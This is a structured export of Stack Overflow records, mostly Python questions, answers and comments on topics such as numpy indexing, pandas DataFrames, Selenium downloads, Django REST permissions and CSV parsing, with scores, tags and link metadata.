has body: x and y need to be numpy arrays, rather than lists, for "fancy indexing": In [11]: x = np.arange(100, step=2) In [12]: x[SV] Out[12]: array([ 6, 14, 20, 30]) In [13]: list(x)[SV] # doesn't work if a list --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-13-7dce2933b313&gt; in &lt;module&gt;() ----&gt; 1 list(x)[SV] TypeError: list indices must be integers or slices, not list i.e. use the np.array constructor: x, y = np.array(x), np.array(y) plt.scatter(x[SV], y[SV])
type: Answer
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46964246
answers question: http://stackoverflow.com/q/46964246

http://stackoverflow.com/a/46939261
downvote count: 0
score: 1
type: Answer
has body: You can use itertools: import itertools list1=['10/22/2017 10:00','10/22/2017 10:00','10/22/2017 10:00', '10/22/2017 11:00','10/22/2017 11:00','10/22/2017 11:00', '10/22/2017 12:00','10/22/2017 12:00','10/22/2017 12:00'] list2 = [1,2,5,4,5,3,3,5,6] convert = {} for a, b in zip(list1, list2): if a not in convert: convert[a] = b new_data = list(itertools.chain(*[[convert[a] for c in range(len(list(b)))] for i, [a, b] in enumerate(itertools.groupby(list1))])) Output: [1, 1, 1, 4, 4, 4, 3, 3, 3]
upvote count: 1
answers question: http://stackoverflow.com/q/46939059

http://stackoverflow.com/comment/81077845
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47064420
has text: @Jack; yes, it is a package; https://pypi.python.org/pypi/parsedatetime/ You can read more about it in the free ebook; http://www.oreilly.com/programming/free/20-python-libraries-you-arent-using-but-should.csp (I'm in no way affiliated with oreilly or parsedatetime)
type: Comment

http://stackoverflow.com/a/47027026
accepted answer of: http://stackoverflow.com/q/47020378
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: I found an easier way to do it after reading online for a while. This method does require you to have a permanent token which can be obtained while setting up the wrike app. import requests # Remember to make sure you are using the correct api version # The current one is v4 # here are instructions on how to check your version # https://developers.wrike.com/documentation/api/methods/api-version api_version = 4 url = f"https://www.wrike.com/api/v{api_version}/tasks" headers = { 'authorization': "bearer &lt;your permanent token here&gt;", } response = requests.get(url, headers=headers) print(response.text)
score: 2
type: Answer
answers question: http://stackoverflow.com/q/47020378

http://stackoverflow.com/q/46973225
downvote count: 0
has comment: http://stackoverflow.com/comment/80896028
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80896295
has comment: http://stackoverflow.com/comment/80895886
tagged with: comparison
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46973504
accepted answer: http://stackoverflow.com/a/46973454
answer count: 3
has comment: http://stackoverflow.com/comment/80893863
tagged with: pandas
score: 1
has answer: http://stackoverflow.com/a/46973454
has answer: http://stackoverflow.com/a/46973504
has comment: http://stackoverflow.com/comment/80895432
has title: Comparing two DataFrames in Pandas
linked to: http://stackoverflow.com/q/46970671
has body: hello people (I am new to python) Question: how can I compare two DataFrames that have the same index but different formats. Here are two examples of the DataFrames: datum_von datum_bis NEG_00_04 2017-10-12 2017-10-12 21.69 2017-10-13 2017-10-13 11.85 2017-10-14 2017-10-14 7.83 2017-10-15 2017-10-15 14.64 2017-10-16 2017-10-16 5.11 2017-10-17 2017-10-17 12.09 2017-10-18 2017-10-18 8.47 2017-10-19 2017-10-19 6.34 2017-10-20 2017-10-20 7.68 2017-10-21 2017-10-21 13.40 2017-10-22 2017-10-22 25.53 datum_von NEG_00_04 NEG_04_08 NEG_08_12 NEG_12_16 NEG_16_20 NEG_20_24 2017-10-12 21.69 15.36 0.87 1.42 0.76 0.65 2017-10-13 11.85 8.08 1.39 2.86 1.02 0.55 2017-10-14 7.83 5.88 1.87 2.04 2.29 2.18 2017-10-15 14.64 11.28 2.62 3.35 2.13 1.25 2017-10-16 5.11 5.82 0.00 0.00 0.00 0.00 2017-10-17 12.09 9.61 0.20 1.09 0.39 0.57 2017-10-18 8.47 7.39 0.24 3.51 0.48 0.61 Note that they have the same index but not the same name for columns (I tried to use d.columns = list_of_names also did not worked it ) they look different but they are the same (contain the same information) but I did not copy all the data.I would like to know which values are different and how much is the difference desired output: I would like to have the difference of the two date frame values cell by cell I mean cell[0][0] from d1 - cell[0][0] from df2 all the results in a new date frame ok: I organize and now they have somehow the same organization dfres = res0.pivot(index='datum_von', columns='produktname')['max']
tagged with: loops
has comment: http://stackoverflow.com/comment/80894381
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80895046
has answer: http://stackoverflow.com/a/46974297

http://stackoverflow.com/comment/80926497
has text: The `a, b = ` is valid in certain situations. eg `a, b = x` is fine if `x` is an iterable of length 2. In your version there's no clear thing that it could mean.
type: QuestionComment
comment on: http://stackoverflow.com/q/46989989
score: 2
type: Comment

http://stackoverflow.com/comment/80792484
has text: Dictionaries are unsortable.
comment on: http://stackoverflow.com/q/46922607
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46937319
tagged with: selenium
answer count: 7
has answer: http://stackoverflow.com/a/55322923
has title: How to use chrome webdriver in selenium to download files in python?
possible better answer: http://stackoverflow.com/a/50893682
favorite count: 0
linked to: http://stackoverflow.com/q/12698843
type: Question
accepted answer: http://stackoverflow.com/a/46938237
has answer: http://stackoverflow.com/a/50893682
has answer: http://stackoverflow.com/a/62394776
has answer: http://stackoverflow.com/a/64845406
linked to: http://stackoverflow.com/q/27824124
has answer: http://stackoverflow.com/a/59900386
has answer: http://stackoverflow.com/a/46938237
has answer: http://stackoverflow.com/a/46939484
downvote count: 0
score: 29
tagged with: python
tagged with: google-chrome
has body: Based on the posts here and here I am trying to use a chrome webdriver in selenium to be able to download a file. Here is the code so far from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument("--disable-extensions") chrome_options.add_experimental_option("profile.default_content_settings.popups", 0) chrome_options.add_experimental_option("download.prompt_for_download", "false") chrome_options.add_experimental_option("download.default_directory", "/tmp") driver = webdriver.Chrome(chrome_options=chrome_options) But this alone results in the following error: WebDriverException: Message: unknown error: cannot parse capability: chromeOptions from unknown error: unrecognized chrome option: download.default_directory (Driver info: chromedriver=2.24.417424 (c5c5ea873213ee72e3d0929b47482681555340c3),platform=Linux 4.10.0-37-generic x86_64) So how to fix this? Do I have to use this 'capability' thing? If so, how exactly?
linked to: http://stackoverflow.com/q/40654358
upvote count: 29
type: AnsweredQuestion

http://stackoverflow.com/a/47053476
score: 0
has comment: http://stackoverflow.com/comment/81055465
answers question: http://stackoverflow.com/q/47053260
has comment: http://stackoverflow.com/comment/81053805
type: Answer
has body: It is good if you register ORM object handler. Add objects = StudentCollaboratorManager() to your StudentCollaborator class. Then define: class StudentCollaboratorManager(BaseUserManager): def create_user(self, username, email, password, code_postal, collaborative_tool, **extra_fields): baseuser = User.objects.create(username, email, password) ) user = self.model( user=baseuser, collaborative_tool=collaborative_tool, code_postal=code_postal, **extra_fields ) #baseuser.set_password(password) #not needed baseuser.save(using=self._db) user.save(using=self._db) return user

http://stackoverflow.com/comment/80979886
comment on: http://stackoverflow.com/q/47016757
has text: @MosesKoledoye `row` is a `list` and not a proper arg for `re.sub` either.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47043329
answer count: 3
has title: Python receive only one variable from a tuple
has answer: http://stackoverflow.com/a/47043483
tagged with: select
has answer: http://stackoverflow.com/a/47043374
type: Question
has comment: http://stackoverflow.com/comment/81033810
type: UnansweredQuestion
tagged with: sockets
has body: rlist, wlist, xlist = select.select([Server] + open_client_sockets, [], []) I understand this code above inserts readable files to readlist, writeable files to wlist, and exceptional files to xlist. but what if i want to only receive the rlist? I don't want python to create wlist and xlist variables. is something like rlist, [], [] = select.select([Server] + open_client_sockets, [],[]) possible?
tagged with: python
has answer: http://stackoverflow.com/a/47043360
tagged with: python-2.7
score: 0

http://stackoverflow.com/comment/81014780
type: QuestionComment
has text: Is my edit useful?
comment on: http://stackoverflow.com/q/47034193
score: 0
type: Comment

http://stackoverflow.com/comment/81361708
type: Comment
comment on: http://stackoverflow.com/a/47189867
score: 0
type: AnswerComment
has text: @user3472065 sure you can! Jython is already compiled to Java eventually, you can just use the Jython compiler (jythonc) to turn your .py flies into bytecode *before* putting them in the jar. I’ll add a section about it.

http://stackoverflow.com/comment/80834944
comment on: http://stackoverflow.com/a/46943715
type: AnswerComment
has text: @GBlomqvist oh that was embarassing. Thank you for pointing it out. Modified the code now.
type: Comment
score: 0

http://stackoverflow.com/comment/80934403
type: Comment
type: AnswerComment
has text: It's possible to avoid reading the whole file by using a generator. I agree that for simple cases (and relatively small amounts of data) `Path.read_text()` might be easier, but not in every case.
comment on: http://stackoverflow.com/a/46993861
score: 1

http://stackoverflow.com/q/47057357
type: AnsweredQuestion
tagged with: python-2.7
answer count: 3
has comment: http://stackoverflow.com/comment/81062320
has answer: http://stackoverflow.com/a/47057411
score: 1
has title: Storing (redirecting) a looped-function print to a variable
accepted answer: http://stackoverflow.com/a/47057564
tagged with: python
possible better answer: http://stackoverflow.com/a/47057895
type: Question
has answer: http://stackoverflow.com/a/47057895
has comment: http://stackoverflow.com/comment/81062207
has body: So I have two python scripts, one of which is calling a function in the other: First (first.py): def get_values(number): .... for x in range(number): print x Second (second.py): import first .... data = first.get_values(10) My goal is to save the output from get_value in first.py to save to the variable data as a list (i.e. [0, 1, 2, 3, ...]). Is there any possible way to do this, without printing these values in the process? Thanks in advance! EDIT: I can't alter first.py, due to other functions already relying on it's current output.
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47057564
favorite count: 0

http://stackoverflow.com/comment/81042084
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47047306
type: Comment
has text: The *array* in your example has a shape of (9,9) with indices ranging from 0-8 in both dimensions.

http://stackoverflow.com/comment/80848405
type: Comment
type: QuestionComment
has text: No the memory is low. The CPU usage however is very high. I don't know what you mean by try with Queue ( I know what in general Queue is)
score: 0
comment on: http://stackoverflow.com/q/46949802

http://stackoverflow.com/comment/80897104
comment on: http://stackoverflow.com/a/46960936
has text: I'm somewhat confused by your following statement. If I understand you correctly, it sounds like you're saying that each element of my sample vector forms an own density function as soon as I give them to my PDF. But shouldn't they just form one value/realisation of the underlying density function I'm working with (my alpha distribution)?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81062032
has text: possible duplicate of : https://stackoverflow.com/questions/19167485/removing-json-property-in-array-of-objects-with-python and : https://stackoverflow.com/questions/36606930/delete-an-element-in-a-json-object and :https://stackoverflow.com/questions/19201233/how-to-delete-json-object-using-python
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47056849

http://stackoverflow.com/q/47027993
tagged with: sorting
score: 0
has body: I'm trying to implement an algorithm using max heap to solve the skyline problem: compare two x,y-dimensions of buildings, and resolve ties as per the following Java code: @Override public int compareTo(BuildingPoint o) { //first compare by x. //If they are same then use this logic //if two starts are compared then higher height building should be picked first //if two ends are compared then lower height building should be picked first //if one start and end is compared then start should appear before end if (this.x != o.x) { return this.x - o.x; } else { return (this.isStart ? -this.height : this.height) - (o.isStart ? -o.height : o.height); } } How do I implement that in Python? I know I can specify the key parameter in the sorted() function but I'm not sure how to go about this example. # Examples (s = start, e = end): Input = [[0,2,'s'], [0,3,'s'], [1,2,'e'], [1,3,'e']] output = [[0,3,'s'], [0,2,'s'], [1,2,'e'], [1,3,'e']] Input = [[4,2,'s'], [3,3,'s'], [5,3,'e'], [5,2,'e']] output = [[3,3,'s'], [4,2,'s'], [5,2,'e'], [5,3,'e']] Input = [[7,3,'s'], [8,3,'e']], [6,2,'s'], [7,2,'e'] output = [[6,2,'s'], [7,3,'s'], [7,2,'e'], [8,3,'e']]
answer count: 0
has comment: http://stackoverflow.com/comment/81029174
has comment: http://stackoverflow.com/comment/81002941
has comment: http://stackoverflow.com/comment/81003072
tagged with: java
has title: How to define sorting custom tie-breaking rule in Python?
type: Question
tagged with: algorithm
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81003113
has comment: http://stackoverflow.com/comment/102838272
tagged with: python

http://stackoverflow.com/a/47013240
has body: You are using a function decorator with a class based view. This will cause undefined behaviour down the line, since the class instance will not be initialized correctly. @permission_classes([UserPermission]) class UserObject(GenericAPIView): ... Instead use a class property. class UserObject(GenericAPIView): permission_classes = [UserPermission] Docs: http://www.django-rest-framework.org/api-guide/permissions/#setting-the-permission-policy
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47012130

http://stackoverflow.com/q/46925208
tagged with: python
has body: Guys I'm facing a problem on using this module which i install from pip currently my OS is Windows python36 64bit version is install. When i'm using and try to import this module from drawtree import draw_level_order draw_level_order('{3,9,20,#,#,15,7}') Why python giving strange errors like this Traceback (most recent call last): File "C:/Users/Root/PycharmProjects/untitled/src/Test.py", line 1, in &lt;module&gt; from drawtree import draw_level_order File "C:\Python36-64\lib\site-packages\drawtree\__init__.py", line 7, in &lt;module&gt; from drawtree import draw_bst, draw_random_bst, draw_level_order ImportError: cannot import name 'draw_bst'
type: AnsweredQuestion
score: 0
has title: Module method showing strange behavior
answer count: 1
has comment: http://stackoverflow.com/comment/80797318
has comment: http://stackoverflow.com/comment/80797281
has comment: http://stackoverflow.com/comment/80797293
type: Question
has comment: http://stackoverflow.com/comment/80797470
accepted answer: http://stackoverflow.com/a/46925374
has comment: http://stackoverflow.com/comment/80797249
has answer: http://stackoverflow.com/a/46925374
has comment: http://stackoverflow.com/comment/80797401

http://stackoverflow.com/comment/81089383
comment on: http://stackoverflow.com/a/47036446
has text: " I need to sort it using the merge sort method" => Why ? Is this homework ?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/81094320
type: Comment
has text: You indentation may be correct, but it's *not* in your post. As indentation is crucial in Python, it is hard for anybody to help with the code in the state it is. To get the indentation correct, paste your code into the question, select it all and then use the `{}` button to apply code formatting to it all (it actually just indents all the code a further four spaces)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47054685

http://stackoverflow.com/comment/80927898
score: 1
comment on: http://stackoverflow.com/a/46990530
type: Comment
has text: Nice solution ;)
type: AnswerComment

http://stackoverflow.com/q/47030709
answer count: 0
has title: (PyQt5) Is there any way to call the method 'setUrl' (QWebEngineView object) through a thread?
has comment: http://stackoverflow.com/comment/81008824
tagged with: pyqt5
type: Question
has comment: http://stackoverflow.com/comment/81007889
has comment: http://stackoverflow.com/comment/81007936
tagged with: asyncore
type: UnansweredQuestion
tagged with: multithreading
has body: I'm trying to call a method, QWebEngineView - 'setUrl' through a thread. But it shows me an windows error(Application has stopped working). ex) QWebEngineView side class Main_UI(QWidget): .... self.web_view = QWebEngineView(self) .... main_ui = Main_UI() ex) Thread side (using asyncore) class CustomThread(asyncore.dispatcher): ... main_ui.web_view.setUrl(QUrl("example.com")) ... when the thread calls main_ui - web_view.setUrl, it shows me an windows error. thanks for reading this and I hope get good solution.
tagged with: python
has comment: http://stackoverflow.com/comment/81008957
score: 0

enumeration
tag name: enumeration
type: Tag
tags question: http://stackoverflow.com/q/46957254

http://stackoverflow.com/q/47061390
upvote count: 2
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47062991
favorite count: 0
type: Question
has title: pygame, get closest point on a polygon from point A
has comment: http://stackoverflow.com/comment/81076353
has body: I have a polygon with n points and I want to find the closest point on this polygon to my player p. How do I go about doing this? So for in doing this I iterate over each point in a polygon of n points like so: for i in range(points.shape[0]-1): for j in range(i+1, points.shape[0): This iterates over every pair of points in a polygon, which I use as the line segment to compare against. Then I am checking the extreme points, and also attempting to see if a point on that line segment is closer. Here is my code: def _get_closest_point(self, P1, P2, P3): if numpy.linalg.norm(P3) &gt; numpy.linalg.norm(P2): tmp_p3 = P3 P3 = P2 P2 = tmp_p3 Ax = P3[0] - P1[0] Ay = P3[1] - P1[1] Bx = P2[0] - P3[0] By = P2[1] - P3[1] t = (Ax*Bx + Ay*By)/(2*(math.pow(Bx, 2) + math.pow(By, 2))) f_prime_1 = 2*(math.pow(Bx, 2) + math.pow(By, 2)) d3 = numpy.linalg.norm(P3 - P1) d2 = numpy.linalg.norm(P2 - P1) d1 = numpy.linalg.norm(P3 + t*(P2 - P3) - P1) print "d1 " + str(d1) print "d2 " + str(d2) print "d3 " + str(d3) if d2 &lt; d3 and d2 &lt; d1: return P2 elif d3 &lt; d2 and d3 &lt; d1: return P3 else: return P3 + t*(P2 - P3) def _get_closest_point_poly(self, points): p = None for x in range(points.shape[0]-1): for y in range(x+1, points.shape[0]): p1 = self.origin p2 = points[x] p3 = points[y] tmp_p = self._get_closest_point(p1, p2, p3) if not isinstance(p, list): p = tmp_p elif numpy.linalg.norm(tmp_p) &lt; numpy.linalg.norm(p): p = tmp_p return p This code was adapted from the one answer here which I have not marked either as solving my question yet as I am not able to confirm either one working. I am currently trying to adapt the "r(t)=(2,0)+tP3P2" question. As it stands right now it is not working. I believe it may be my code at the moment. When I run the code, and test my point (which is in between two points and the line should be a perpendicular to the polygon) draws to the extreme. My code prints that the distance d3 is less than d2 and d1, so it returns P3 as the closest point. Howev…
type: UnansweredQuestion
tagged with: python
tagged with: pygame
score: 2

http://stackoverflow.com/comment/80987505
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47020378
has text: @MartinBeckett, do you mean the token URL? not sure how to print the entire URL with parameters passed

http://stackoverflow.com/q/46934884
upvote count: 2
has comment: http://stackoverflow.com/comment/80819392
has comment: http://stackoverflow.com/comment/80817234
downvote count: 0
answer count: 1
has body: I want to read the first 3 columns of a csv file and do some modification before storing them. Data in csv file: {::[name]str1_str2_str3[0]},1,U0.00 - Sensor1 Not Ready\nTry Again,1,0,12 {::[name]str1_str2_str3[1]},2,U0.00 - Sensor2 Not Ready\nTry Again,1,0,12 From the column1, I just want to parse the value 0 or 1 within the [ ]. Then the value in column2 From column3, I want to parse the substring "Sensor1 Not Ready". Then convert to upper case and replace the space with underscore (eg - SENSOR1_NOT_READY). And then print the string in a new column. Parsing format - **&lt;value from column 1&gt;.&lt;value from column 2&gt;.&lt;string from column 3&gt;** I am new to coding in Python. Can someone help me with this? What is the best and the most efficient way to do this? TIA What I have tried so far - import csv from collections import defaultdict columns = defaultdict(list) with open('filename.csv','rb') as f: reader = csv.reader(f, delimiter=',') for row in reader: for i in range(len(row)): columns[i].append(row[i]) columns = dict(columns) Is this a good way for Column 3? x = # Parsed data from Column 3' a, b = x.split("\n") # 'a' denotes the substring before \n c, d = a.split("-") # 'd' denotes the substring after '-' e = d.upper() new_str = str.replace(" ", "_") print new_str
has title: Parsing a csv file with column data in Python
has comment: http://stackoverflow.com/comment/80818228
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80819621
has comment: http://stackoverflow.com/comment/80817859
has comment: http://stackoverflow.com/comment/80819354
has comment: http://stackoverflow.com/comment/80820749
has comment: http://stackoverflow.com/comment/80817410
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/80818367
has comment: http://stackoverflow.com/comment/80817748
tagged with: python
accepted answer: http://stackoverflow.com/a/46936564
has comment: http://stackoverflow.com/comment/80817074
has comment: http://stackoverflow.com/comment/80817166
has comment: http://stackoverflow.com/comment/80818264
has answer: http://stackoverflow.com/a/46936564
score: 2
type: AnsweredQuestion

http://stackoverflow.com/a/46938887
type: Answer
answers question: http://stackoverflow.com/q/46938802
has body: Don't try to modify the list you are iterating over; it breaks the iterator. Instead, build and return new lists. import json def check_json (list_of_items, list_of_labels): new_items = [] new_labels = [] for item, label in zip(list_of items, list_of_labels): try: json.loads(item) except ValueError: continue new_items.append(item) new_labels.append(label) return new_items, new_labels If you insist modifying the original arguments: def check_json (list_of_items, list_of_labels): new_items = [] new_labels = [] for item, label in zip(list_of items, list_of_labels): try: json.loads(item) except ValueError: continue new_items.append(item) new_labels.append(label) list_of_items[:] = new_items list_of_labels[:] = new_labels but note that this isn't really any more efficient; it just provides a different interface.
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46938802

http://stackoverflow.com/comment/80937977
score: 1
has text: inconsistent use of tabs or spaces in indentation
type: Comment
comment on: http://stackoverflow.com/a/46995703
type: AnswerComment

http://stackoverflow.com/q/46944445
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80836442
tagged with: django
tagged with: python
tagged with: django-rest-framework
linked to: http://stackoverflow.com/q/44978045
has title: Filtering results of multiple models under one API Endpoint with django-rest-framework
tagged with: rest
has comment: http://stackoverflow.com/comment/80839919
has body: I am using DRF to generate API for my django app. I am using the ViewSet class and exposing API endpoints for most of my models at their own path. I want to allow viewing of my Endpoint and TLSCertificate models at an /assets/ path. As they are both children of an Organisation entity, I want to allow the results to be filtered Organisation. So far I have: serializers.py class AssetSerializer(serializers.Serializer): endpoints = EndpointSerializer(many=True) certificates = TLSCertificateSerializer(many=True) views.py class AssetFilterSet(filters.FilterSet): organisation = filters.ModelChoiceFilter( name='organisation', queryset=Organisation.objects.all()) project = filters.ModelChoiceFilter( name='project', queryset=Project.objects.all()) class Meta: model = Endpoint fields = ['organisation', 'project'] # the object type to be passed into the AssetSerializer Asset = namedtuple('Asset', ('endpoints', 'certificates')) class AssetViewSet(CacheResponseAndETAGMixin, viewsets.ViewSet): """ A simple ViewSet for listing the Endpoints and Certificates in the Asset list. Adapted from https://stackoverflow.com/questions/44978045/serialize-multiple-models-and-send-all-in-one-json-response-django-rest-framewor """ # TODO filtering not functional yet filter_class = AssetFilterSet filter_fields = ('organisation', 'project',) queryset = Endpoint.objects.all() def list(self, request): assets = Asset( endpoints=Endpoint.objects.all(), certificates=TLSCertificate.objects.all(), ) serializer = AssetSerializer(assets, context={'request': request}) return Response(serializer.data) This works in returning the objects but does not allow for filtering to take place. I would appreciate any guidance in how to enable the filtering in this situation?
type: Question
answer count: 0

http://stackoverflow.com/comment/80817580
score: 0
has text: Yes I see it in the first comment... however I think counter and counter0 should all be mentioned... thanks.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46935134

http://stackoverflow.com/q/47019523
linked to: http://stackoverflow.com/q/8009882
tagged with: python
has answer: http://stackoverflow.com/a/47020363
has body: I want to print sections of a file from a matching line to an empty line, so I am looking for a way to express sed '/^Word .*/,/^$/' in Python. For instance if |I had a file containing these sections: Fruits Apples: 10 Oranges: 20 Bananas: 5 Pastry Cupcakes: 5 Buns: 10 Waffles: 20 How do I get the Fruits section? In Perl I could do: if ( /^Fruits/ .. /^$/ ) { print; } But I don't know how to do this in Python.
accepted answer: http://stackoverflow.com/a/47021648
has answer: http://stackoverflow.com/a/47021648
has comment: http://stackoverflow.com/comment/80986822
linked to: http://stackoverflow.com/q/11732383
type: AnsweredQuestion
upvote count: 3
linked to: http://stackoverflow.com/q/2301285
answer count: 2
linked to: http://stackoverflow.com/q/31786823
downvote count: 0
has comment: http://stackoverflow.com/comment/80986969
has comment: http://stackoverflow.com/comment/81029106
favorite count: 0
has comment: http://stackoverflow.com/comment/80986734
type: Question
has comment: http://stackoverflow.com/comment/80986243
has comment: http://stackoverflow.com/comment/80985917
has title: Print sections of a file from a matching line to an empty line
possible better answer: http://stackoverflow.com/a/47020363
score: 3
linked to: http://stackoverflow.com/q/18568105
has comment: http://stackoverflow.com/comment/80986670
has comment: http://stackoverflow.com/comment/80986823

http://stackoverflow.com/q/47034708
score: -2
has body: I am trying to build up a JSON using the following code but jsonlint says it's not valid, ending with EOF error. The error is that I have to separate the output but my goal is to have a single JSON file. Here is the code I am using: t = 0 p = [] nome_b = (bollist[0]) p_causale = (causalestr) #contains a string for item in jsonlist: predizione = (jsonlist[t]) bollettini = {'Nome bollettino': str(nome_b)} causale = {'Stringa Causale': str(p_causale)} numero = {'Numero': str(predizione)} t += 1 p.append([bollettini]+[causale]+[numero]) if not y: jsontxt = ('Not found') else: #jsontxt = ([bollettini],[causale],[numero]) jsontxt = (p) with open((TXT.txt'), 'a', encoding='utf-8') as outfile: json.dump(jsontxt, outfile) And this is the output: [[{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "0[(96.48 % n: 0) (3.37 % n: 9) (0.06 % n: 4)]"}], [{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "2[(36.17 % n: 2) (25.01 % n: 0) (18.48 % n: 9)]"}], [{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "6[(99.9 % n: 6) (0.09 % n: 4) (0.0 % n: 9)]"}], [{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "5[(99.99 % n: 5) (0.0 % n: 9) (0.0 % n: 8)]"}], [{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "5[(99.98 % n: 5) (0.01 % n: 3) (0.0 % n: 9)]"}], [{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "4[(84.76 % n: 4) (7.63 % n: 0) (2.08 % n: 6)]"}], [{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "8[(89.88 % n: 8) (8.87 % n: 9) (1.11 % n: 5)]"}], [{"Nome bollettino": "BR_3_VE33491116420151103K000351FA.png"}, {"Stringa Causale": "026554891"}, {"Numero": "9[(84.29 % n: 9) (8.23 % n: 8) (6…
has comment: http://stackoverflow.com/comment/81016137
has title: JSON not valid EOF (Python)
tagged with: python
has answer: http://stackoverflow.com/a/47034839
has comment: http://stackoverflow.com/comment/81015602
has comment: http://stackoverflow.com/comment/81016278
has comment: http://stackoverflow.com/comment/81015756
answer count: 2
upvote count: 0
tagged with: http://stackoverflow.com/tag/json
downvote count: 2
has answer: http://stackoverflow.com/a/47034788
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81015573
type: UnansweredQuestion

http://stackoverflow.com/comment/80789871
comment on: http://stackoverflow.com/q/46921161
score: 0
type: Comment
type: QuestionComment
has text: Also, you're supposed to pass `target` as a constructor parameter to `Thread`, not set it as an attribute afterwards.

http://stackoverflow.com/comment/80995095
score: 1
has text: I'm really starting to think this should be the accepted answer. You've improved this speed significantly since your first answer, I just threw my hat in the ring :)
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47023604

http://stackoverflow.com/q/46928752
tagged with: panel-data
has body: I have panel data and I would like to duplicate the value of my variable X of year=2014 for all years &amp; for each indiv: for i in df.indiv : df.X[df.indiv == i ]=df.X[df.indiv==i &amp; df.year == 2014] TypeError: cannot compare a dtyped [int64] array with a scalar of type [bool] I think that another better way to do this exists but I don't know...
has comment: http://stackoverflow.com/comment/80810545
has comment: http://stackoverflow.com/comment/80808012
has comment: http://stackoverflow.com/comment/80808899
has comment: http://stackoverflow.com/comment/80811406
has title: Duplicate value for panel data
has comment: http://stackoverflow.com/comment/80807879
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/80810515
score: 0
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/81075015
has text: @Reese do not include answer in the comment , you can add it as an answer
type: Comment
comment on: http://stackoverflow.com/q/47063210
score: 1
type: QuestionComment

http://stackoverflow.com/q/47033153
has title: saving array of string and integers to a text file in python
tagged with: python
has body: I have a python list temp = [['abc.jpg', 1, 2, 3, 'xyz'], ['def.jpg', 4,5,6, 'xyz']] To save it as an array, so I do this: temp = np.vstack(temp) Result: print(temp) temp = [['abc.jpg', '1', '2', '3', 'xyz'], ['def.jpg', '4','5','6', 'xyz']] It is converting the integers to string. I dont want that to happen. I want to save the result in a text file. I tried the following: np.savetxt("data.txt", temp) But I get the following error: TypeError: Mismatch between array dtype ('&lt;U8') and format specifier ('%.18e %.18e %.18e %.18e %.18e %.18e')
type: Question
tagged with: numpy
upvote count: 2
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/15881817
tagged with: string
favorite count: 0
duplicate of: http://stackoverflow.com/q/15881817
has answer: http://stackoverflow.com/a/47033602
tagged with: text
accepted answer: http://stackoverflow.com/a/47033602
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81026880

http://stackoverflow.com/a/46999986
score: 0
type: Answer
has body: First store only the letters in the grid, so that you can access the items easier by entering the y- and the x-coordinate of the cell: grid[1][2] = 'o' The grid should be a list of lists (the rows) which you can create with a nested list comprehension: grid = [['_' for _ in range(6)] for _ in range(6)] Put the printing code into a function, so that you can just call print_grid(grid) to display the grid. Add the pipes and everything else you want to display during the printing, but don't add these things to the actual grid. Here's a complete example: def print_grid(grid): print(' _'*len(grid[0])) for row in grid: for letter in row: # Draw pipes followed by the letters on the same line. print('|', letter, sep='', end='') # Draw the last pipe and go to the next line. print('|') # Use a list of lists for the grid. grid = [['_' for _ in range(6)] for _ in range(6)] # Insert letters (y-coordinate first then x). grid[3][4] = 'x' grid[1][2] = 'o' grid[2][2] = 'z' print_grid(grid)
answers question: http://stackoverflow.com/q/46997885

http://stackoverflow.com/q/47039230
answer count: 3
type: Question
has answer: http://stackoverflow.com/a/47039364
has body: I have a data frame with numbers in a column named "Atomic". I'd like to round every value into the nearest number from a given set of values. Example: set : 5, 10, 20, 25, 50, 100 6 --&gt; 5 34 --&gt; 25 70 --&gt; 50 How can I do that?
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47039387
has answer: http://stackoverflow.com/a/47039434
has title: Round Python data frame values into a given set of numbers
score: 0

http://stackoverflow.com/a/46923737
has comment: http://stackoverflow.com/comment/80794992
